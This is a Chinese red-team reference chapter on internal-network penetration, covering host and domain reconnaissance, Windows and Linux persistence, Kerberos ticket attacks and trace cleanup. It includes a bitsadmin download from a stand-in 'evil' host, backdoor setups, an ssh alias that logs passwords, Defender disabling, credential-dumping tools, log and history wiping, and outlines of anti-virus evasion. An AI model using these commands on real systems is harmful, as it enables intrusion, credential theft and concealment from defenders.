文章目录
- 6.0 内网渗透
- 6.1 信息收集-Windows
- 6.1.1 基本命令
- 6.1.2 域信息
- 6.1.3 用户信息
- 6.1.4 网络信息
- 6.1.5 防火墙
- 6.1.6密码信息
- 6.1.7 票据信息
- 6.1.8 特殊文件
- 6.1.9 其他
- 6.2 持久化 - Windows
- 6.2.1 隐藏文件
- 6.2.2 LOLBAS
- 1. 简介
- 2. 常见程序
- 6.2.3 后门
- 1. sethc
- 2. 映像劫持
- 3. 定时任务
- 4. 登录脚本
- 5. 屏幕保护程序
- 6. 隐藏用户
- 7. CLR
- 8. Winlogon Helper DLL后门
- 6.2.4 UAC
- 1. 简介
- 2. 会触发UAC的操作
- 3. ByPass
- 6.2.5 自启动
- 1. 基于注册表的自启动
- 2. 基于特定目录的自启动
- 6.2.6 权限提升
- 1. 任意写文件利用
- 2. MOF
- 3. 凭证窃取
- 4. 其他
- 6.7 痕迹清理 - Windows
- 6.7.1 日志
- 6.7.2 注册表
- 1. 注册表键
- 6.7.3 文件
- 1. Prefetch
- 2. JumpLists
- 3. Amcache / RecentFileCache.bcf
- 6.7.4 时间轴
- 6.3.5 彻底删除
- 6.4 域渗透
- 6.4.1 Active Directory
- 1. ADDS
- 2. 名称空间
- 3. 对象与属性
- 6.4.2 域
- 1. 域树
- 2. 林
- 3. 信任
- 4. 域控制器
- 5. 域信任类型
- 6.4.3 攻击类型
- 1. 黄金票据利用
- 2. 白银票据利用
- 3. DCSync 攻击
- 4. DCShadow 攻击
- 5. 票据传递攻击
- 6. Kerberoasting Attacks
- 7. Kerberos Delegation Attacks
- 6.5 信息收集 - Linux
- 6.5.1 获取内核,操作系统和设备信息
- 6.5.2 用户和组
- 6.5.3 用户和权限信息
- 6.5.4 环境信息
- 6.5.5 进程信息
- 6.5.6 服务信息
- 6.5.7 计划任务
- 6.5.8 网络、路由和通信
- 6.5.9 已安装程序
- 6.5.10 文件
- 6.5.11 公私钥信息
- 6.5.12 日志
- 6.5.13 虚拟环境检测
- 6.6 持久化 - Linux
- 6.6.1 权限提升
- 6.6.2 自启动
- 6.6.3 后门
- 6.7 痕迹清理 - Linux
- 6.7.1 历史命令
- 6.7.2 清除/修改日志文件
- 6.7.3 登录痕迹
- 6.7.4 操作痕迹
- 6.7.5 覆写文件
- 6.7.6 难点
- 6.7.7 注意
- 6.7.8 参考链接
- 6.8 后门技术
- 6.8.1 开发技术
- 1. 管控功能实现技术
- 2. 自启动技术
- 3. 用户态进程隐藏技术
- 4. 数据穿透和躲避技术
- 5. 内核级隐藏技术(Rootkit)
- 6. 磁盘启动级隐藏技术(Bootkit)
- 7. 还原软件对抗技术
- 6.8.2 后门免杀
- 1. 传统静态代码检测
- 2. 启发式代码检测
- 3. 云查杀
- 4. 攻击主防杀毒软件
- 5. 利用证书信任
- 6.8.3 检测技术
- 6.8.4 后门分析
- 6.9 综合技巧
- 6.9.1 端口转发
- 6.9.2 获取shell
- 6.9.3 内网文件传输
- 1. windows下文件传输
- 2. linux下文件传输
- 3. 文件编译
- 6.9.4 远程连接 && 执行程序
- 6.10 参考链接
- 6.10.1 Windows
- 6.10.2 域渗透
- 6.10.3 RedTeam
- 6.10.4 内网
- 6.10.5 Cobalt Strike
6.0 内网渗透
6.1 信息收集-Windows
6.1.1 基本命令
-
主机名
hostname
-
查询所有计算机名称
dsquery computer
-
查看配置及补丁信息
systeminfo
wmic qfe get description,installedOn /format:csv
-
查看版本
ver
-
进程信息
tasklist /svc
wmic process get caption,executablepath,commandline /format:csv
get-process
-
查看所有环境变量
set
-
查看计划任务
schtasks /QUERY /fo LIST /v
-
查看安装驱动
DRIVERQUERY
-
查看操作系统信息
- 架构
wmic os get osarchitecture
- 系统名
wmic os get caption
- 架构
-
查看逻辑盘
wmic logicaldisk get caption
-
查看安装的软件信息
wmic product get name,version
-
查看服务信息
wmic service list brief
sc query
Get-WmiObject win32_service | select PathName
6.1.2 域信息
- 获取当前组的计算机名
net view
- 网络发现
net view /all
- 查看所有域
net view /domain
- 域森林、域树信息
- 域信任信息
nltest /domain_trusts
- 定位域控
net time /domain
- 查看域中的用户名
dsquery user
- 查询域组名称
net group /domain
- 查询域管理员
net group "Domain Admins" /domain
- 域控信息
nltest /dclist:xx
Get-NetDomain
Get-NetDomainController
net group "Domain controllers"
6.1.3 用户信息
- 查看用户
net user
whoami
/whoami /priv
/whoami /all
wmic useraccount get /ALL /format:csv
- 用户特权信息
whoami /priv
- 查看当前权限
net localgroup administrators
- 查看在线用户
quser
/qwinsta
/query user
- 查看当前计算机名,全名,用户名,系统版本,工作 站域,登陆域
net config Workstation
- ACL 信息
get-acl
6.1.4 网络信息
- 内网网段信息
- 网卡信息
ipconfig
- 外网出口
- ARP表
arp -a
- 路由表
route print
- 监听的端口
netstat -ano
- 连接的端口
- 端口信息
Get-NetTCPConnection
- hosts文件
- 主备 DNS
- DNS缓存
ipconfig /displaydns
Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache
- 探测出网情况
powershell -c "1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect('allports.exposed',$_)) $_ } 2>$null"
6.1.5 防火墙
- 查看防火墙状态
netsh advfirewall show allprofiles
- 防火墙日志目录
netsh firewall show logging
- 防火墙规则
netsh advfirewall firewall show rule name=all
netsh firewall show config
netsh firewall show state
6.1.6密码信息
- Windows RDP连接记录
- 浏览器中保存的账号密码
- 系统密码管理器中的各种密码
- 无人值守安装文件中的密码信息
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
6.1.7 票据信息
cmdkey /l
- klist
- msf meterpreter
6.1.8 特殊文件
-
文档
- xlsx / xls
- docx / doc
- pptx / ppt
- vsdx / vsd
- md / txt
-
压缩文件
- zip / rar / 7z
-
VPN配置
- ovpn
-
代码
- py / php / jsp / aspx / asp / sql
-
配置文件
conf / ini / xml
-
特定关键字
- 账号 / 账户 / 登录 / login / user
- 密码 / pass
- 代码 / 文档 / 交接 / 备份 / git / svn
- 邮箱 / 通讯录 / 集群 / 办公
- 代理 / 内网 / VPN
- 设备 / 资产
- 系统 / 运维 / 拓扑 / 网络 / IT
- 后台 / 管理员 / 数据库
- 监控 / 隔离 / 防火墙 / 网闸 / 巡检
6.1.9 其他
- 启用的共享文件夹
- 回收站
- 最近运行的命令
- 访问文件历史记录
- 查看补丁安装情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
- 日志与事件信息
wevtutil
eventvwr
- 注册表信息
reg
- 安装的各类 agent 监控软件
- 安装的杀毒软件
- 查看/设置后缀关联
assoc
assoc .ext=example
- PowerShell 版本
- .Net 版本
- Wi-Fi 密码
6.2 持久化 - Windows
6.2.1 隐藏文件
- 创建系统隐藏文件
attrib +s +a +r +h filename
/attrib +s +h filename
- 利用NTFS ADS (Alternate Data Streams) 创建隐藏文件
- 利用Windows保留字
aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9
6.2.2 LOLBAS
1. 简介
LOLBAS,全称Living Off The Land Binaries and Scripts (and also Libraries),是一种白利用方式,是在2013年DerbyCon由Christopher Campbell和Matt Graeber发现,最终Philip Goh提出的概念。
这些程序一般有有Microsoft或第三方认证机构的签名,但是除了可以完成正常的功能,也能够被用于内网渗透中。这些程序可能会被用于:下载安全恶意程序、执行恶意代码、绕过UAC、绕过程序控制等。
2. 常见程序
-
bitsadmin.exe
-
下载文件
bitsadmin /transfer /priority
-
下载文件
bitsadmin /create 1 bitsadmin /addfile 1 https://evil/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
-
复制文件
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset
-
代码执行
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
-
-
cdb.exe
-
certutil.exe
- 可安装、备份、删除、管理和执行证书
- 证书存储相关功能
-
cmd.exe
-
cmstp.exe
-
csc.exe
-
cscript.exe
- 执行脚本
-
Extexport.exe
-
expand.exe
- 展开一个或多个压缩文件
-
mofcomp.exe
-
msbuild.exe
- 构建应用程序
-
mshta.exe
- HTML应用
-
msxsl
- 处理XSL程序
-
netsh.exe
-
installutil.exe
- 安装/卸载程序组件
-
IEExec.exe
- .NET Framework附带程序
-
powershell.exe
-
psexec.exe
-
reg.exe
- 注册表控制台
-
regedit.exe
- 注册表修改
-
regsvr32.exe
- 注册动态链接库/ActiveX控件
-
rundll32.exe
- 执行DLL文件中的内部函数
-
sc.exe
- 查看服务状态管理
-
schtasks.exe
- 定时计划任务
-
shred
- 重复写入文件,防止文件恢复
-
type.exe
- 利用ads隐藏文件
type
- 利用ads隐藏文件
-
wmic.exe
- Windows管理工具
-
windbg.exe
-
wscript.exe
- 脚本引擎
-
waitfor.exe
- 用于同步网络中计算机,可以发送或等待系统上的信号。
6.2.3 后门
1. sethc
sethc.exe
是 Windows系统在用户按下五次shift后调用的粘滞键处理程序,当有写文件但是没有执行权限时,可以通过替换 sethc.exe
的方式留下后门,在密码输入页面输入五次shift即可获得权限。
2. 映像劫持
在高版本的Windows中,替换程序是受到系统保护的,需要使用其他的技巧来实现替换。
具体操作为在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option
下添加项 sethc.exe
,然后在 sethc.exe
这个项中添加 debugger
键,键值为恶意程序的路径。
3. 定时任务
Windows下有 schtasks
和 at
两种计划任务机制。 其中 at
在较高版本的Windows中已经弃用。
设置命令为 schtasks /create /tn "TEST_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
、 schtasks /create /tn "TEST_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
。删除命令为 schtasks /delete /tn "TEST_OnLogon" /f
。
4. 登录脚本
Windows可以在用户登录前执行脚本,使用 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
设置。
也可在 HKCU\Environment\
路径下设置 UserInitMprLogonScript
来实现。
5. 屏幕保护程序
Windows可以自定义屏幕保护程序,使用 HKEY_CURRENT_USER\Control Panel\Desktop
设置。
6. 隐藏用户
Windows可以使用在用户名后加入 $
来创建隐藏用户,这种帐户可在一定条件下隐藏,但是仍可以通过控制面板查看。
在创建隐藏用户的基础上,可以修改注册表的方式创建影子用户,这种方式创建的用户只能通过注册表查看。
7. CLR
CLR (Common Language Runtime Compilation) 公共语言运行时,是微软为.NET产品构建的运行环境,可以粗略地理解为.NET虚拟机。
.NET程序的运行离不开CLR,因此可以通过劫持CLR的方式实现后门。
8. Winlogon Helper DLL后门
Winlogon是一个Windows组件,用来处理各种活动,如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理,该注册表定义在Windows登录期间启动哪些进程。所以可以依靠这个注册表来进行权限维持。
注册表位置如下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
用于执行exe程序HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
用于执行exe程序HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
用于执行dll文件
6.2.4 UAC
1. 简介
UAC (User Account Control) 是Windows Vista 和 Windows Server 2008 引入的一个安全机制,当一些敏感操作发生时,会跳出提示显式要求系统权限。
当用户登陆Windows时,每个用户都会被授予一个access token,这个token中有security identifier (SID) 的信息,决定了用户的权限。
2. 会触发UAC的操作
- 以管理员权限启动应用
- 修改系统、UAC设置
- 修改没有权限的文件或者目录( %SystemRoot% / %ProgramFiles% 等 )
- 修改ACL (access control list)
- 安装驱动
- 增删账户,修改账户类型,激活来宾账户
3. ByPass
- DLL相关
- 进程注入
- 注册表
6.2.5 自启动
1. 基于注册表的自启动
通过在注册表中写入相应的键值可以实现程序的开机自启动,主要是 Run
和 RunOnce
,其中RunOnce和Run区别在于RunOnce的键值只作用一次,执行完毕后会自动删除。
注册表如下:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
基于策略的自启动注册表设置如下:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
设置启动文件夹注册表位置如下:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
设置服务启动项注册表位置如下:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
用户自启动位置 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
、 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
,其中 Userinit
键允许指定用逗号分隔的多个程序。
如果用户启动了屏幕保护程序,也可以通过屏幕保护程序来启动后面,相关注册表键值为:
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
2. 基于特定目录的自启动
自启动目录, C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
目录对特定用户生效, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
对所有用户生效。在NT6以前,两个目录为 C:\Documents and Settings\Username\Start Menu\Programs\StartUp
/ C:\Documents and Settings\All Users\Start Menu\Programs\StartUp
。
6.2.6 权限提升
权限提升有多重方式,有利用二进制漏洞、逻辑漏洞等技巧。利用二进制漏洞获取权限的方式是利用运行在内核态中的漏洞来执行代码。比如内核、驱动中的UAF或者其他类似的漏洞,以获得较高的权限。
逻辑漏洞主要是利用系统的一些逻辑存在问题的机制,比如有些文件夹用户可以写入,但是会以管理员权限启动。
1. 任意写文件利用
在Windows中用户可以写的敏感位置主要有以下这些
- 用户自身的文件和目录,包括
AppData
Temp
C:\
,默认情况下用户可以写入C:\ProgramData
的子目录,默认情况下用户可以创建文件夹、写入文件C:\Windows\Temp
的子目录,默认情况下用户可以创建文件夹、写入文件
具体的ACL信息可用AccessChk, 或者PowerShell的 Get-Acl
命令查看。
可以利用对这些文件夹及其子目录的写权限,写入一些可能会被加载的dll,利用dll的加载执行来获取权限。
2. MOF
MOF是Windows系统的一个文件( c:/windows/system32/wbem/mof/nullevt.mof
)叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。
当拥有文件上传的权限但是没有Shell时,可以上传定制的mof文件至相应的位置,一定时间后这个mof就会被执行。
一般会采用在mof中加入一段添加管理员用户的命令的vbs脚本,当执行后就拥有了新的管理员账户。
3. 凭证窃取
- Windows本地密码散列导出工具
- mimikatz
- lsass
- wce
- gsecdump
- copypwd
- Pwdump
- ProcDump
- https://docs.microsoft/en-us/sysinternals/downloads/procdump
- Windows本地密码破解工具
- L0phtCrack
- SAMInside
- Ophcrack
- 彩虹表破解
- 本机hash+明文抓取
- win8+win2012明文抓取
- ntds.dit的导出+QuarkPwDump读取分析
- vssown.vbs + libesedb + NtdsXtract
- ntdsdump
- 利用powershell(DSInternals)分析hash
- 使用
net use \\%computername% /u:%username%
重置密码尝试次数 - 限制读取时,可crash操作系统后,在蓝屏的dump文件中读取
4. 其他
- 组策略首选项漏洞
- DLL劫持
- 替换系统工具,实现后门
- 关闭defender
Set-MpPreference -disablerealtimeMonitoring $true
6.7 痕迹清理 - Windows
6.7.1 日志
- 查看日志
eventvwr
- 伪造日志
eventcreate
- 操作日志
- 3389登录列表
- 文件打开日志
- 文件修改日志
- 浏览器日志
- 系统事件
- 程序安装记录
- 程序删除记录
- 程序更新记录
- 登录日志
- 系统安全日志
- 日志路径
- 系统日志
%SystemRoot%\System32\Winevt\Logs\System.evtx
- 安全日志
%SystemRoot%\System32\Winevt\Logs\Security.evtx
- 应用程序日志
%SystemRoot%\System32\Winevt\Logs\Application.evtx
- 系统日志
- 服务日志
- IIS
%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
- IIS
6.7.2 注册表
- AppCompatFlags
- Background Activity Moderator (BAM)
- MuiCache
- RecentApps
- RunMRU
- ShimCache (AppCompatCache)
1. 注册表键
- HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog
6.7.3 文件
1. Prefetch
预读取文件夹,用来存放系统已访问过的文件的预读信息,扩展名为PF。位置在 C:\Windows\Prefetch
。
2. JumpLists
记录用户最近使用的文档和应用程序,方便用户快速跳转到指定文件,位置在 %APPDATA%\Microsoft\Windows\Recent
。
3. Amcache / RecentFileCache.bcf
Windows中的使用这两个文件来跟踪具有不同可执行文件的应用程序兼容性问题,它可用于确定可执行文件首次运行的时间和最后修改时间。
在Windows 7、Windows Server 2008 R2等系统中,文件保存在 C:\Windows\AppCompat\Programs\RecentFileCache.bcf
,包含程序的创建时间、上次修改时间、上次访问时间和文件名。
在Windows 8、Windows 10、Windows Server 2012等系统中,文件保存在 C:\Windows\AppCompat\Programs\Amcache.hve
,包含文件大小、版本、sha1、二进制文件类型等信息。
6.7.4 时间轴
Windows时间轴是Windows 10在1803版中引入的一个新特性,会记录访问过的网站、编辑过的文档、运行的程序等,
6.3.5 彻底删除
- 多次覆写文件
cipher /w:
- 格式化某磁盘count次
format D: /P:
6.4 域渗透
6.4.1 Active Directory
活动目录(Active Directory,AD)是面向Windows Server的目录服务。Active Directory存储了有关网络对象的信息,并且让管理员和用户能够查找和使用这些信息。
1. ADDS
Active Directory提供目录服务的组件被称作Active Directory域服务(Active Directory Domain Services, ADDS),负责目录数据库的存储、增删改查等工作,可以用在多种局域网、广域网的场景中。
2. 名称空间
名称空间(namespace)是一块界定好的区域,在区域内可以用名称找到与之相关的信息。
3. 对象与属性
ADDS内的资源都是以对象(Object)的形式存在的,对象通过属性(Attrbute)来描述其特征。
6.4.2 域
域指将网络中多台计算机逻辑上组织到一起,进行集中管理的逻辑环境。域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。
1. 域树
域树(Trees)由多个域组成,这些域共享同一表结构和配置,形成一个连续的命名空间(namespace)。
2. 林
林(Forests)是一个复杂的AD实例,由一个或数个域组成,每个域树都有自己唯一的名称空间。
3. 信任
两个域之间需要创建信任关系,才可以访问对应域内的资源。
4. 域控制器
ADDS的目录存储在域控制器内,一个域内可以有多台域控制器,每一个域控制器的地位几乎是平等的,有几乎相同的数据库。
在一台域控制器添加一个用户账户后,这个账户会被自动复制到其他域控制器的数据库中。
AD数据库有多主机复制模式(Multi-master Replication Model)和单主机复制模式(Sing-master Replication Model)。
多主机模式可以直接更新任何一台域控制器内的AD对象,并将更新之后的对象复制到其他域控制器,大部分数据都是用多主机模式进行复制。
单主机复制模式是指由一台被称作操作主机(Operations Master)的域控制器负责接收更改数据的请求,并将数据复制到其他的域控制器。
5. 域信任类型
Active Directory的信任方式可以分为以下几种:
- Tree-Root Trust
- 双向具有转移性
- Parent-Child Trust
- 具有转移性,双向行人
- Forest Trust
- 如果两个林创建了信任关系,则林中所有的域都相互信任 两个林之间的信任关系无法自动扩展到其他林上
- Realm Trust
- ADDS域可以和非Windows系统的Kerberos域之间创建信任
- External Trust
- 位于两个林内的域之间可以通过外部信任来创建信任关系
- Shortcut Trust
- 可以缩短验证用户身份的时间
6.4.3 攻击类型
1. 黄金票据利用
在认证过程中,经过client与AS的通信会得到TGT,黄金票据(Golden Ticket)就是伪造票据授予票据(TGT),也被称为认证票据。
黄金票据利用需要与DC通信,且需要获取krbtgt的hash,但是可以获取任何Kerbose服务权限。
2. 白银票据利用
白银票据(Silver Tickets)伪造利用的是Kerberos认证中的第三个步骤,在第三步的时候,client会带着ticket向server的某个服务进行请求,如果验证通过就可以访问server上的指定服务了,这里的ticket是基于client info、server session key、end time、server hash。这里client info已知,end time可以构造,server session key是TGS生成的,所以只要server的NTLM hash即可。银票伪造的是TGS,只能访问指定的服务。
3. DCSync 攻击
DCSync是域渗透中经常会用到的技术。DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,基于 DRS 来导出域内所有用户的hash。
这种方式需要满足以下任一一种权限:
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
4. DCShadow 攻击
DCShadow是由来自法国的安全研究人员Benjamin Delpy和Vincent Le Toux在2018年的微软蓝帽(Blue Hat)大会上提出。
DCShadow攻击指在Active Directory环境下创建一个恶意的域控制器,并用它来推送恶意对象。
5. 票据传递攻击
票据传递攻击(Pass-the-Ticket Attacks,PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。
6. Kerberoasting Attacks
域内的任何一台主机,都可以通过查询SPN,Kerberoasting即是向域内的所有服务请求TGS,然后进行暴力破解。
7. Kerberos Delegation Attacks
在一个域中,A使用Kerberos身份验证访问服务B,B再使用A的身份去访问C,这个过程就可以理解为委派。委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,非约束委派可以访问域内任意其它服务,约束委派对认证做了限制不可以访问其他的服务。
Kerberos Delegation(Kerberos委派)攻击分为非约束委派攻击和约束委派攻击。原理都是基于域内已经配置了委派的账户来获取其它账户的权限。
6.5 信息收集 - Linux
6.5.1 获取内核,操作系统和设备信息
- 版本信息
uname -a
所有版本uname -r
内核版本信息uname -n
系统主机名字uname -m
Linux内核架构
- 内核信息
cat /proc/version
- CPU信息
cat /proc/cpuinfo
- 发布信息
cat /etc/*-release
cat /etc/issue
- 主机名
hostname
- 文件系统
df -a
- 内核日志
dmesg
//var/log/dmesg
6.5.2 用户和组
- 列出系统所有用户
cat /etc/passwd
- 列出系统所有组
cat /etc/group
- 列出所有用户hash(root)
cat /etc/shadow
- 用户
- 查询用户的基本信息
finger
- 当前登录的用户
users
who -a
/var/log/utmp
- 查询无密码用户
grep 'x:0:' /etc/passwd
- 查询用户的基本信息
- 目前登录的用户
w
- 登入过的用户信息
last
//var/log/wtmp
- 显示系统中所有用户最近一次登录信息
lastlog
//var/log/lastlog
- 登录成功日志
/var/log/secure
- 登录失败日志
/var/log/faillog
- 查看特权用户
grep :0 /etc/passwd
- 查看passwd最后修改时间
ls -l /etc/passwd
- 查看是否存在空口令用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow
- 查看远程登录的账号
awk '/\$1|\$6/{print $1}' /etc/shadow
- 查看具有sudo权限的用户
cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
6.5.3 用户和权限信息
- 当前用户
whoami
- 当前用户信息
id
- 可以使用sudo提升到root的用户(root)
cat /etc/sudoers
- 列出目前用户可执行与无法执行的指令
sudo -l
6.5.4 环境信息
- 打印系统环境信息
env
- 打印系统环境信息
set
- 环境变量中的路径信息
echo $PATH
- 打印历史命令
history
/~/.bash_history
- 显示当前路径
pwd
- 显示默认系统遍历
cat /etc/profile
- 显示可用的shell
cat /etc/shells
6.5.5 进程信息
- 查看进程信息
ps aux
- 资源占有情况
top -c
- 查看进程关联文件
lsof -c $PID
- 完整命令行信息
/proc/$PID/cmdline
- 进程的命令名
/proc/$PID/comm
- 进程当前工作目录的符号链接
/proc/$PID/cwd
- 运行程序的符号链接
/proc/$PID/exe
- 进程的环境变量
/proc/$PID/environ
- 进程打开文件的情况
/proc/$PID/fd
6.5.6 服务信息
- 由inetd管理的服务列表
cat /etc/inetd.conf
- 由xinetd管理的服务列表
cat /etc/xinetd.conf
- nfs服务器的配置
cat /etc/exports
- 邮件信息
/var/log/mailog
- ssh配置
sshd_config
6.5.7 计划任务
- 显示指定用户的计划作业(root)
crontab -l -u %user%
- 计划任务
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
- 开机启动项
/etc/rc.d/init.d/
6.5.8 网络、路由和通信
- 列出网络接口信息
/sbin/ifconfig -a
/ip addr show
- 列出网络接口信息
cat /etc/network/interfaces
- 查看系统arp表
arp -a
- 打印路由信息
route
/ip ro show
- 查看dns配置信息
cat /etc/resolv.conf
- 打印本地端口开放信息
netstat -an
- 列出iptable的配置规则
iptables -L
- 查看端口服务映射
cat /etc/services
- Hostname
hostname -f
- 查看进程端口情况
netstat -anltp | grep $PID
6.5.9 已安装程序
rpm -qa --last
Redhatyum list | grep installed
CentOSls -l /etc/yum.repos.d/
dpkg -l
Debiancat /etc/apt/sources.list
Debian APTpkg_info
xBSDpkginfo
Solarispacman -Q
Arch Linuxemerge
Gentoo
6.5.10 文件
- 最近五天的文件
find / -ctime +1 -ctime -5
- 文件系统细节
debugfs
6.5.11 公私钥信息
~/.ssh
/etc/ssh
6.5.12 日志
/var/log/boot.log
/var/log/cron
/var/log/faillog
/var/log/lastlog
/var/log/messages
/var/log/secure
/var/log/syslog
/var/log/syslog
/var/log/wtmp
/var/log/wtmp
/var/run/utmp
6.5.13 虚拟环境检测
lsmod | grep -i "vboxsf\|vboxguest"
lsmod | grep -i "vmw_baloon\|vmxnet"
lsmod | grep -i "xen-vbd\|xen-vnif"
lsmod | grep -i "virtio_pci\|virtio_net"
lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
6.6 持久化 - Linux
6.6.1 权限提升
- 内核漏洞利用
- 攻击有root权限的服务
- 利用第三方服务提权
- 通过有SUID属性的可执行文件
- 查找可能提权的可执行文件
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
- 利用可用的root权限
sudo -l
- 利用误配置的 crontab 任务
6.6.2 自启动
- /etc/init.d
- /etc/rc.d/rc.local
- ~/.bashrc
- ~/.zshrc
6.6.3 后门
- ssh 后门
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
- 后门账户
- 常见应用
- ICMP
- DNS
- icmp后门
- 后门端口复用
.
开头隐藏文件- rootkit
6.7 痕迹清理 - Linux
6.7.1 历史命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
kill -9 $$
kill historyhistory -c
- 在
HISTSIZE=0
中设置HISTSIZE=0
6.7.2 清除/修改日志文件
/var/log/btmp
/var/log/lastlog
/var/log/wtmp
/var/log/utmp
/var/log/secure
/var/log/message
6.7.3 登录痕迹
- 删除
~/.ssh/known_hosts
中记录 - 修改文件时间戳
touch –r
- 删除tmp目录临时文件
6.7.4 操作痕迹
- vim 不记录历史命令
:set history=0
- ssh 登录痕迹
- 无痕登录
ssh -T user@host /bin/bash -i
- 无痕登录
6.7.5 覆写文件
- shred
- dd
- wipe
6.7.6 难点
- 攻击和入侵很难完全删除痕迹,没有日志记录也是一种特征
- 即使删除本地日志,在网络设备、安全设备、集中化日志系统中仍有记录
- 留存的后门包含攻击者的信息
- 使用的代理或跳板可能会被反向入侵
6.7.7 注意
- 在操作前检查是否有用户在线
- 删除文件使用磁盘覆写的功能删除
- 尽量和攻击前状态保持一致
6.7.8 参考链接
- Linux 入侵痕迹清理技巧
6.8 后门技术
6.8.1 开发技术
1. 管控功能实现技术
- 系统管理:查看系统基本信息,进程管理,服务管理
- 文件管理:复制/粘贴文件,删除文件/目录,下载/上传文件等
- Shell管理
- 击键记录监控
- 屏幕截取
- 音频监控
- 视频监控
- 隐秘信息查看
- 移动磁盘的动态监控
- 远程卸载
2. 自启动技术
-
Windows自启动
-
基于Windows启动目录的自启动
-
基于注册表的自启动
-
基于服务程序的自启动
-
基于ActiveX控件的自启动
-
基于计划任务(Scheduled Tasks)的自启动
-
-
Linux自启动
3. 用户态进程隐藏技术
-
基于DLL插入的进程隐藏
- 远程线程创建技术
- 设置窗口挂钩(HOOK)技术
-
基于SvcHost共享服务的进程隐藏
-
进程内存替换
4. 数据穿透和躲避技术
- 反弹端口
- 协议隧道
- HTTP
- MSN
- Google Talk
5. 内核级隐藏技术(Rootkit)
6. 磁盘启动级隐藏技术(Bootkit)
- MBR
- BIOS
- NTLDR
- boot.ini
7. 还原软件对抗技术
6.8.2 后门免杀
1. 传统静态代码检测
- 加壳
- 添加花指令
- 输入表免杀
2. 启发式代码检测
- 动态函数调用
3. 云查杀
- 动态增大自身体积
